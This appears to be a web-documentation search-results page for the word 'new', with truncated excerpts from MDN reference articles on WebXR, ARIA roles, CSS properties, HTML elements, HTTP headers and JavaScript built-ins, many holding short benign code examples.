... example this example establishes a new xrsession in inline mode so that it can be displayed within an html element, avoiding the need for a dedicated ar or vr viewing device such as a headset.
XRSystem - Web APIs
WebAPIXRSystem
requestsession() returns a promise that resolves to a new xrsession with the specified xrsessionmode.
...that way, if the user clicks the button again, a new session will start.
XRWebGLLayer - Web APIs
constructor new xrwebgllayer() creates and returns a new xrwebgllayer object for use by the specified xrsession, using a particular webglrenderingcontext or webgl2renderingcontext as the destination context.
... methods getviewport() returns a new xrviewport instance representing the position, width, and height to which the webgl context's viewport must be set to contain drawing to the area of the framebuffer designated for the specified view's contents.
Introduction - Web APIs
xslt takes an xml document (the content) and creates a brand new document based on the rules in the xsl stylesheet.
...each template matches (using xpath) a certain fragment of the input xml document and then applies the substitution part on that fragment to create the new resulting document.
XSLTProcessor - Web APIs
an xsltprocessor applies an xslt stylesheet transformation to an xml document to produce a new xml document as output.
... new xsltprocessor() methods [throws] void xsltprocessor.importstylesheet(node stylesheet) imports the xslt stylesheet.
Using the link role - Accessibility
this includes javascript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology.
...e.target : e.srcelement; if (ref) { window.open(ref.getattribute('data-href'), '_blank'); } } } spanelem.addeventlistener('click', navigatelink); spanelem.addeventlistener('keydown', navigatelink); result notes if pressing the link triggers an action but does not change browser focus or navigate to a new page, you might wish to consider using the button role instead of the link role.
Using the log role - Accessibility
the log role is used to identify an element that creates a live region where new information is added in a meaningful order and old information may disappear.
...in contrast to other types of live region, this role is sequentially ordered and new information is only added to the end of the log.
ARIA: timer role - Accessibility
the clock is updated each minute, with the new remaining time simply overwriting the current content.
... one way around this would be to first clear the contents of the live region, and then inject the new content.
ARIA: grid role - Accessibility
torall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(newrow, newcol) { var tgt = document.queryselector('[data-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.setattribute('tabindex', '-1'); }); tgt.setattribute('tabindex', '0'); tgt.focus(); return true; } else { r...
...torall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(newrow, newcol) { var tgt = document.queryselector('[data-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.setattribute('tabindex', '-1'); }); tgt.setattribute('tabindex', '0'); tgt.focus(); return true; } else { r...
Community - Accessibility
this document provides links to mailing lists, newsgroups, forums, and other communities related to accessbility.
... mozilla accessibility newsgroup wai interest group discussion list unix accessibility project (reference) sun mozilla accessibility task force contribute/get involved webaim discussion list ...
Web Accessibility: Understanding Colors and Luminance - Accessibility
this is evolving, and new methods for measuring color involve measurements using other color spaces, but color measurements in the rgb color space still predominates, and this includes video production.
... newer technologies, such as opengl and direct3d incorporate support for the srgb gamma curve, although some articles for opengl reference use of rgba rather than srgb.
unicode-range - CSS: Cascading Style Sheets
to make it obvious, we will use a sans-serif font, helvetica, for the text, and a serif font, times new roman, for the ampersand.
... html <div>me & you = us</div> css @font-face { font-family: 'ampersand'; src: local('times new roman'); unicode-range: u+26; } div { font-size: 4em; font-family: ampersand, helvetica, sans-serif; } result specifications specification status comment css fonts module level 3the definition of 'unicode-range' in that specification.
Basic Concepts of Multicol - CSS: Cascading Style Sheets
multiple-column layout, usually referred to as multicol, is a specification for laying out content into a set of column boxes much like columns in a newspaper.
...this is because a multicol container creates a new block formatting context (bfc) which means margins on child elements do not collapse with any margin on the container.
CSS Containment - CSS: Cascading Style Sheets
if we give each <article> the contain property with a value of content, when new elements are inserted the browser understands it does not need to relayout or repaint any area outside of the containing element's subtree, although if the <article> is styled such that its size depends on its contents (e.g.
... using contain: style would ensure that the counter-increment and counter-set properties created new counters scoped to that subtree only.
Basic concepts of flexbox - CSS: Cascading Style Sheets
modern layout methods encompass the range of writing modes and so we no longer assume that a line of text will start at the top left of a document and run towards the right hand side, with new lines appearing one under the other.
...in doing so, you should consider each line as a new flex container.
Flow Layout and Overflow - CSS: Cascading Style Sheets
as we have already learned, using any of these values, other than the default of visible, will create a new block formatting context.
... flow relative properties in the guide to writing modes and flow layout, we looked at the newer properties of block-size and inline-size which make more sense when working with different writing modes than tying our layout to the physical dimensions of the screen.
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
if the grid does not have enough rows in the explicit grid to place all of the items new implicit rows will be created.
...when it fills up a column it will move onto the next explicit column, or create a new column track in the implicit grid.
Using CSS counters - CSS: Cascading Style Sheets
r(section) ": "; /* display the word 'section ', the value of section counter, and a colon before the content of each h3 */ } html <h3>introduction</h3> <h3>body</h3> <h3>conclusion</h3> result nesting counters a css counter can be especially useful for making outlined lists, because a new instance of the counter is automatically created in child elements.
... example of a nested counter css ol { counter-reset: section; /* creates a new instance of the section counter with each ol element */ list-style-type: none; } li::before { counter-increment: section; /* increments only this instance of the section counter */ content: counters(section, ".") " "; /* combines the values of all instances of the section counter, separated by a period */ } html <ol> <li>item</li> <!-- 1 ...
Overview of CSS Shapes - CSS: Cascading Style Sheets
the specification defines three new properties: shape-outside — allows definition of basic shapes shape-image-threshold — sets an opacity threshold value.
...if your polygon isn’t quite right you can use the shapes editor to tweak it, then copy the new value back into your css.
Shorthand properties - CSS: Cascading Style Sheets
note: there is also a newer value, revert, which has limited browser support.
... which of the links will change color if you define a new color for the <a> element — for example a { color: red; }?
Viewport concepts - CSS: Cascading Style Sheets
when zoomed in, both firefox and chrome report the new css pixel size for innerwidth and clientwidth.
... the values returned for the outerwidth and outerheight depend on the browser: firefox reports the new value in css pixels, but chrome returns the length in the default pixel size.
WebKit CSS extensions - CSS: Cascading Style Sheets
combine -webkit-text-decoration-skip -webkit-text-decorations-in-effect -webkit-text-fill-color -webkit-text-security -webkit-text-stroke-color -webkit-text-stroke-width -webkit-text-stroke -webkit-text-zoom -webkit-transform-origin-x -webkit-transform-origin-y -webkit-transform-origin-z u -webkit-user-drag -webkit-user-modify * a few are on the standards, unprefixed track ** new syntax has been standardized.
... property links to the new synax.
box-lines - CSS: Cascading Style Sheets
WebCSSbox-lines
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
... if the children in a horizontal box still do not fit on a line after being reduced to their minimum widths, then children are moved one by one onto a new line, until the elements remaining on the previous line fit.
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
note: a computed value other than none results in the creation of a new stacking context the same way that css opacity does for values other than 1.
...noneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to reference box when specified, otherwise border-boxcomputed valueas specified, but with <url> values made absoluteanimation typeyes, as specified for <basic-shape>, otherwise no formal syntax <clip-source> | [ <basic-shape> | <geometry-box> ] | nonewhere <clip-source> = <url><basic-shape> = <inset()> | <circle()> | <ellipse()> | <polygon()> | <path()><geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <inset()> = inset( <length-percentage>{1,4} [ round <'border-radius'> ]?
counter-set - CSS: Cascading Style Sheets
it manipulates the value of existing counters, and will only create new counters if there isn't already a counter of the given name on the element.
...if there isn't currently a counter of the given name on the element, the element will create a new counter of the given name with a starting value of 0 (though it may then immediately set or increment that value to something different).
font-family - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace examples some common font families .serif { font-family: times, times new roman, georgia, serif; } .sansserif { font-family: verdana, arial, helvetica, sans-serif; } .monospace { font-family: lucida console, courier, monospace; } .cursive { font-family: cursive; } .fantasy { font-family: fantasy; } .emoji { font-family: emoji; } .math { font-family: math; } .fangsong { font-family: fangsong; } <div class="serif"> this is an example of a serif ...
... working draft adds new generic font families, specifically: system-ui, ui-serif, ui-sans-serif, ui-monospace, ui-rounded, emoji, math, and fangsong.
grid-auto-flow - CSS: Cascading Style Sheets
values row items are placed by filling each row in turn, adding new rows as necessary.
... column items are placed by filling each column in turn, adding new columns as necessary.
mask - CSS: Cascading Style Sheets
WebCSSmask
this will ensure that mask-border has also been reset to allow the new styles to take effect.
... extends its syntax by making it a shorthand for the new mask-* properties defined in that specification.
<shape> - CSS: Cascading Style Sheets
WebCSSshape
not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.
text-rendering - CSS: Cascading Style Sheets
html <p class="small">lyowat - ff fi fl ffl</p> <p class="big">lyowat - ff fi fl ffl</p> css .small { font: 19.9px "constantia", "times new roman", "georgia", "palatino", serif; } .big { font: 20px "constantia", "times new roman", "georgia", "palatino", serif; } result optimizespeed vs optimizelegibility this example shows the difference between the appearance of optimizespeed and optimizelegibility (in your browser; other browsers may vary).
... html <p class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
WAI ARIA Live Regions/API Support - Developer guides
ged::remove (fired on the parent, with event data pointing to the child index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets...
... and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events.
Challenge solutions - Developer guides
solution change the selector of the new rule to be a tag selector using p: p { color: blue; } the rules for the other colors all have more specific selectors, so they override the blue of the paragraph.
... solution add a rule to the body element (parent of the headings) to reset a new counter, and one to display and increment the counter on the headings: /* numbered headings */ body {counter-reset: headnum;} h3:before { content: "(" counter(headnum, upper-latin) ") "; counter-increment: headnum; } boxes ocean border challenge add one rule to your stylesheet, making a wide border all around the oceans in a color that reminds you of the sea.
DOM onevent handlers - Developer guides
for example, for the progress event on instances of xmlhttprequest: const xhr = new xmlhttprequest(); xhr.onprogress = function() { … }; html onevent attributes html elements have attributes named onevent which can be used to register a handler for an event directly within the html code.
...for example: if ("onsomenewfeature" in window) { /* do something amazing */ } event handlers and prototypes you can't set or access the values of any idl-defined attributes on dom prototype objects.
Localizations and character encodings - Developer guides
new-authored locale-native utf-8 content is expected to declare its encoding, in which case the fallback encoding does not participate in the processing of content.
... in order to avoid the problem of web authors creating new utf-8 content without declaring that the content uses utf-8 and in order to maximize the ability of users to read content cross-locale, do not set the fallback encoding to utf-8 for any newly-introduced localization.
A hybrid approach - Developer guides
another downside is that because this approach relies on responsive design, it typically works best on a new project or one that has an existing flexible layout, not as a retrofit.
... so far there is not much to see for mobile, since things are still in the formative stages of development, but you can always watch the new mozilla.org grow up on github.
Separate sites for mobile and desktop - Developer guides
similarly, this increases the implementation time of any new site features, since you must now code two sets of front-end logic.
...every time a new browser comes out, you must adjust your algorithm to accommodate it.
Mobile Web Development - Developer guides
WebGuideMobile
apis like geolocation or orientation are either not supported on desktops or are much less useful, and these apis give mobile users new ways to interact with your site.
... mobile apis finally, you can take advantage of the new possibilities offered by mobile devices, such as orientation and geolocation.
Writing forward-compatible websites - Developer guides
this page explains how to write websites that do not break when new browser versions are released.
... what this means is that any time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it.
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
as the user adjusts the color, the border around the example changes to reflect the new color.
...imagine that you're building a website for a new game that takes place on the planet mars.
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the accept attribute.
... examples when set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one.
HTML attribute reference - HTML: Hypertext Markup Language
capture <input> from the html media capturethe definition of 'media capture' in that specification.spec, specifies a new file can be captured.
... sandbox <iframe> stops a document loaded in an iframe from using certain features (such as submitting forms or opening new windows).
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
not for use in new websites.deprecated.
... not for use in new websites.
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
_blank: show the resource in a new, unnamed browsing context.
... note: in newer browser versions (e.g.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
you can add a listener for addtrack to this object to be alerted when new audio tracks are added to the element.
... htmlmediaelement.texttracks add an addtrack event listener to this texttracklist to be notified when new text tracks are added to the element.
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
take the following example: <form> <div> <input type="checkbox" id="subscribenews" name="subscribe" value="newsletter"> <label for="subscribenews">subscribe to newsletter?</label> </div> <div> <button type="submit">subscribe</button> </div> </form> in this example, we've got a name of subscribe, and a value of newsletter.
... when the form is submitted, the data name/value pair will be subscribe=newsletter.
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
_blank loads the response into a new, unnamed, browsing context.
... this is typically a new tab in the same window as the current document, but may differ depending on the configuration of the user agent.
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
to detect whether the browser supports <input type="week">, we create a new <input> element, try setting its type to week, then immediately check what its type is set to.
....queryselector('.nativeweekpicker'); var fallbackpicker = document.queryselector('.fallbackweekpicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var weekselect = document.queryselector('#fallbackweek'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'week'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.d...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
for example: <link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"> some interesting new performance and security features have been added to the <link> element too.
... recommendation added crossorigin and sizes attributes; extended values of media to any media queries; added numerous new values for rel.
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
if ('content' in document.createelement('template')) { // instantiate the table with the existing html tbody // and the row with the template var tbody = document.queryselector("tbody"); var template = document.queryselector('#productrow'); // clone the new row and insert it into the table var clone = template.content.clonenode(true); var td = clone.queryselectorall("td"); td[0].textcontent = "1235646565"; td[1].textcontent = "stuff"; tbody.appendchild(clone); // clone the new row and insert it into the table var clone2 = template.content.clonenode(true); td = clone2.queryselectorall("td"); td[0].textcontent = "...
...} the result is the original html table, with two new rows appended to it via javascript: table { background: #000; } table td { background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within it.
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
html the html is similar to the previous example's, except for the addition of the new column in each data row, and the changes to the header.
... the "joined" and "canceled" headers let's style these two header cells with green and red hues to represent the "good" of a new member and the "bummer" of a canceled membership.
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
this can be overridden in css, like this: var { font: bold 15px "courier", "courier new", monospace; } examples basic example here's a simple example, using <var> to denote variable names in a mathematical equation.
... css var { font: bold 15px "courier", "courier new", monospace; } html <p>the variables <var>minspeed</var> and <var>maxspeed</var> control the minimum and maximum speed of the apparatus in revolutions per minute (rpm).</p> this html uses <var> to enclose the names of two variables.
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
you should never use them in new projects, and should replace them in old projects as soon as you can.
... <element> the obsolete html <element> element was part of the web components specification; it was intended to be used to define new custom dom elements.
Inline elements - HTML: Hypertext Markup Language
an inline element does not start on a new line and only takes up as much width as necessary.
... formatting by default, inline elements do not force a new line to begin in the document flow.
Link types: noopener - HTML: Hypertext Markup Language
the noopener keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the window.opener property on the opened window (it returns null).
... note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab.
Compression in HTTP - HTTP
over the years, algorithms also got more efficient, and new ones are supported by clients and servers.
...nowadays, only two are relevant: gzip, the most common one, and br the new challenger.
Content-Location - HTTP
pointing to a new document (http 201 created) say you're creating a new blog post through a site's api: put /new/post host: example.com content-type: text/markdown # my first blog post!
...the server specifies where the new post is with content-location: http/1.1 201 created content-type: text/plain; charset=utf-8 content-location: /my-first-blog-post ✅ success!
Cross-Origin-Opener-Policy - HTTP
if a cross-origin document with coop is opened in a new window, the opening document will not have a reference to it, and the window.opener property of the new window will be null.
... same-origin-allow-popups retains references to newly opened windows or tabs which either don't set coop or which opt out of isolation by setting a coop of unsafe-none.
Date - HTTP
WebHTTPHeadersDate
note that date is listed in the forbidden header names in the fetch spec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
... examples date: wed, 21 oct 2015 07:28:00 gmt new date().toutcstring() // "mon, 09 mar 2020 08:13:24 gmt" specifications specification title rfc 7231, section 7.1.1.2: date hypertext transfer protocol (http/1.1): semantics and content ...
Index - HTTP
WebHTTPHeadersIndex
55 cookie2 http, obsolete, reference, header, request the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one.
...this allows to opt-out of mime type sniffing, or, in other words, it is a way to say that the webmasters knew what they were doing.
Proxy Auto-Configuration (PAC) file - HTTP
rotocol the startswith() function can be used: function findproxyforurl(url, host) { if (url.startswith("http:")) return "proxy http-proxy.mydomain.com:8080"; else if (url.startswith("ftp:")) return "proxy ftp-proxy.mydomain.com:8080"; else if (url.startswith(“gopher:")) return "proxy gopher-proxy.mydomain.com:8080"; else if (url.startswith("https:") || url.startswith("snews:")) return "proxy security-proxy.mydomain.com:8080"; else return "direct"; } note: the same can be accomplished using the shexpmatch() function described earlier.
...they have defined some new "ex" suffixed functions around the address handling parts to support ipv6.
CSS Houdini
houdini is a group of apis that give developers direct access to the css object model (cssom), enabling developers to write code the browser can parse as css, thereby creating new css features without waiting for them to be implemented natively in browsers.
... css properties and values api defines an api for registering new css properties.
JavaScript data types and data structures - JavaScript
special non-data but structural type for any constructed object instance also used as data structures: new object, new array, new map, new set, new weakmap, new set, new date and almost everything made with new keyword; function : a non-data structure, though it also answers for typeof operator: typeof instance === "function".
... typed arrays are new to javascript with ecmascript 2015, and present an array-like view of an underlying binary data buffer.
Meta programming - JavaScript
target[name] : 42 } } let p = new proxy({}, handler) p.a = 1 console.log(p.a, p.b) // 1, 42 the proxy object defines a target (an empty object here) and a handler object, in which a get trap is implemented.
... handler.construct() new proxy(...args) reflect.construct() the result must be an object.
About the JavaScript reference - JavaScript
where to find javascript information javascript documentation of core language features (pure ecmascript, for the most part) includes the following: the javascript guide the javascript reference if you are new to javascript, start with the guide.
... new in javascript chapter about javascript version history.
Deprecated and obsolete features - JavaScript
you should use toisostring instead of the deprecated togmtstring method in new code.
... string.prototype.substr probably won't be removed anytime soon, but it's defined in annex b of the ecma-262 standard, whose introduction states: "… programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code.
SyntaxError: invalid regular expression flag "x" - JavaScript
to include a flag with the regular expression, use this syntax: var re = /pattern/flags; or var re = new regexp('pattern', 'flags'); regular expression flags flag description g global search.
...to match newlines (added in ecmascript 2018) u unicode; treat pattern as a sequence of unicode code points y perform a "sticky" search that matches starting at the current position in the target string.
TypeError: X.prototype.y called on incompatible type - JavaScript
examples invalid cases var myset = new set; ['bar', 'baz'].foreach(myset.add); // myset.add is a function, but "myset" is not captured as this.
... valid cases var myset = new set; ['bar', 'baz'].foreach(myset.add.bind(myset)); // this works due to binding "myset" as this.
RangeError: invalid array length - JavaScript
examples invalid cases new array(math.pow(2, 40)) new array(-1) new arraybuffer(math.pow(2, 32)) new arraybuffer(-1) let a = []; a.length = a.length - 1; // set -1 to the length property let b = new array(math.pow(2, 32) - 1); b.length = b.length + 1; // set 2^32 to the length property valid cases [ math.pow(2, 40) ] // [ 1099511627776 ] [ -1 ] // [ ...
...-1 ] new arraybuffer(math.pow(2, 32) - 1) new arraybuffer(0) let a = []; a.length = math.max(0, a.length - 1); let b = new array(math.pow(2, 32) - 1); b.length = math.min(0xffffffff, b.length + 1); // 0xffffffff is the hexadecimal notation for 2^32 - 1 // which can also be written as (-1 >>> 0) ...
RangeError: invalid date - JavaScript
however, depending on the implementation, non–conforming iso format strings, may also throw rangeerror: invalid date, like the following cases in firefox: new date('foo-bar 2014'); new date('2014-25-23').toisostring(); new date('foo-bar 2014').tostring(); this, however, returns nan in firefox: date.parse('foo-bar 2014'); // nan for more details, see the date.parse() documentation.
... valid cases new date('05 october 2011 14:48 utc'); new date(1317826080); // unix time stamp for 05 october 2011 14:48:00 utc ...
SyntaxError: Malformed formal parameter - JavaScript
the last argument is the source code for the new function you're creating.
... all the rest make up your new function's argument list.
InternalError: too much recursion - JavaScript
function loop(x) { // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too much recursion class error: too much recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony = new person(); tony.name = "tonisha"; // internalerror: too much recursion when a value is assigned to the property name (this.name = name;) javascript needs to set that property.
... class person{ constructor(){} set name(name){ this._name = name; } get name(){ return this._name; } } const tony = new person(); tony.name = "tonisha"; console.log(tony); ...
TypeError: invalid 'instanceof' operand 'x' - JavaScript
examples instanceof vs typeof "test" instanceof ""; // typeerror: invalid 'instanceof' operand "" 42 instanceof 0; // typeerror: invalid 'instanceof' operand 0 function foo() {} var f = foo(); // foo() is called and returns undefined var x = new foo(); x instanceof f; // typeerror: invalid 'instanceof' operand f x instanceof x; // typeerror: x is not a function to fix these errors, you will either need to replace the instanceof operator with the typeof operator, or to make sure you use the function name, instead of the result of its evaluation.
...var x = new foo(); x instanceof f; // true x instanceof foo; // true ...
getter - JavaScript
examples defining a getter on new objects in object initializers this will create a pseudo-property latest for object obj, which will return the last array item in log.
... class example { get hello() { return 'world'; } } const obj = new example(); console.log(obj.hello); // "world" console.log(object.getownpropertydescriptor(obj, 'hello')); // undefined console.log( object.getownpropertydescriptor( object.getprototypeof(obj), 'hello' ) ); // { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined } specifications specification ecmascript (ecma-262)t...
AggregateError() constructor - JavaScript
syntax new aggregateerror(errors[, message]) parameters errors an iterable of errors, may not actually be error instances.
... examples creating an aggregateerror try { throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror()' in that specification.
AggregateError - JavaScript
constructor aggregateerror() creates a new aggregateerror object.
... examples catching an aggregateerror promise.any([ promise.reject(new error("some error")), ]).catch(e => { console.log(e instanceof aggregateerror); // true console.log(e.message); // "all promises rejected" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] }); creating an aggregateerror try { throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); ...
Array.prototype.reduceRight() - JavaScript
// production steps of ecma-262, edition 5, 15.4.4.22 // reference: http://es5.github.io/#x15.4.4.22 if ('function' !== typeof array.prototype.reduceright) { array.prototype.reduceright = function(callback /*, initialvalue*/) { 'use strict'; if (null === this || 'undefined' === typeof this) { throw new typeerror('array.prototype.reduce called on null or undefined'); } if ('function' !== typeof callback) { throw new typeerror(callback + ' is not a function'); } var t = object(this), len = t.length >>> 0, k = len - 1, value; if (arguments.length >= 2) { value = arguments[1]; } else { while (k >= 0 && !(k in t)) { k--; } if (k < 0) { ...
... throw new typeerror('reduce of empty array with no initial value'); } value = t[k--]; } for (; k >= 0; k--) { if (k in t) { value = callback(value, t[k], k, t); } } return value; }; } examples sum up all values within an array var sum = [0, 1, 2, 3].reduceright(function(a, b) { return a + b; }); // sum is 6 flatten an array of arrays var flattened = [[0, 1], [2, 3], [4, 5]].reduceright(function(a, b) { return a.concat(b); }, []); // flattened is [4, 5, 2, 3, 0, 1] run a list of asynchronous functions with callbacks in series each passing their results to the next const waterfall = (...functions) => (callback, ...args) => functions.reduceright( (composition, fn) => (...results) => fn(composition, ...results), ca...
Array.prototype.entries() - JavaScript
the entries() method returns a new array iterator object that contains the key/value pairs for each index in the array.
... syntax array.entries() return value a new array iterator object.
Array.prototype.findIndex() - JavaScript
if (this == null) { throw new typeerror('"this" is null or not defined'); } var o = object(this); // 2.
... if (typeof predicate !== 'function') { throw new typeerror('predicate must be a function'); } // 4.
Array.prototype.indexOf() - JavaScript
if (this == null) { throw new typeerror('"this" is null or not defined'); } var o = object(this); // 2.
...']; var element = 'a'; var idx = array.indexof(element); while (idx != -1) { indices.push(idx); idx = array.indexof(element, idx + 1); } console.log(indices); // [0, 2, 4] finding if an element exists in the array or not and updating the array function updatevegetablescollection (veggies, veggie) { if (veggies.indexof(veggie) === -1) { veggies.push(veggie); console.log('new veggies collection is : ' + veggies); } else if (veggies.indexof(veggie) > -1) { console.log(veggie + ' already exists in the veggies collection.'); } } var veggies = ['potato', 'tomato', 'chillies', 'green-pepper']; updatevegetablescollection(veggies, 'spinach'); // new veggies collection is : potato,tomato,chillies,green-pepper,spinach updatevegetablescollection(veggies, 'spin...
Array.isArray() - JavaScript
if (!array.isarray) { array.isarray = function(arg) { return object.prototype.tostring.call(arg) === '[object array]'; }; } examples using array.isarray // all following calls return true array.isarray([]); array.isarray([1]); array.isarray(new array()); array.isarray(new array('a', 'b', 'c', 'd')); array.isarray(new array(3)); // little known fact: array.prototype itself is an array: array.isarray(array.prototype); // all following calls return false array.isarray(); array.isarray({}); array.isarray(null); array.isarray(undefined); array.isarray(17); array.isarray('array'); array.isarray(true); array.isarray(false); array.isarray(new ...
... var iframe = document.createelement('iframe'); document.body.appendchild(iframe); xarray = window.frames[window.frames.length-1].array; var arr = new xarray(1,2,3); // [1,2,3] // correctly checking for array array.isarray(arr); // true // considered harmful, because doesn't work through iframes arr instanceof array; // false specifications specification ecmascript (ecma-262)the definition of 'array.isarray' in that specification.
Array.prototype.keys() - JavaScript
the keys() method returns a new array iterator object that contains the keys for each index in the array.
... syntax arr.keys() return value a new array iterator object.
Array.of() - JavaScript
the array.of() method creates a new array instance from a variable number of arguments, regardless of number or type of the arguments.
... return value a new array instance.
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place.
...in this case, you should specify at least one new element (see below).
Array.prototype.values() - JavaScript
the values() method returns a new array iterator object that contains the values for each index in the array.
... syntax arr.values() return value a new array iterator object.
Atomics.exchange() - JavaScript
this atomic operation guarantees that no other write happens between the read of the old value and the write of the new value.
... examples using exchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.exchange(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.exchange' in that specification.
BigInt() constructor - JavaScript
note: bigint() is not used with the new operator.
... examples creating a new bigint bigint(123); // 123n specifications specification ecmascript (ecma-262)the definition of 'bigint constructor' in that specification.
Boolean() constructor - JavaScript
syntax new boolean([value]) parameters value optional the initial value of the boolean object.
... examples creating boolean objects with an initial value of false var bnoparam = new boolean(); var bzero = new boolean(0); var bnull = new boolean(null); var bemptystring = new boolean(''); var bfalse = new boolean(false); creating boolean objects with an initial value of true var btrue = new boolean(true); var btruestring = new boolean('true'); var bfalsestring = new boolean('false'); var bsulin = new boolean('su lin'); var barrayproto = new boolean([]); var bobjproto = new boolean({}); specifications specification ecmascript (ecma-262)the definition of 'boolean constructor' in that specification.
Date.prototype.getDay() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var weekday = xmas95.getday(); console.log(weekday); // 1 note: if needed, the full name of a day ("monday" for example) can be obtained by using intl.datetimeformat with an options parameter.
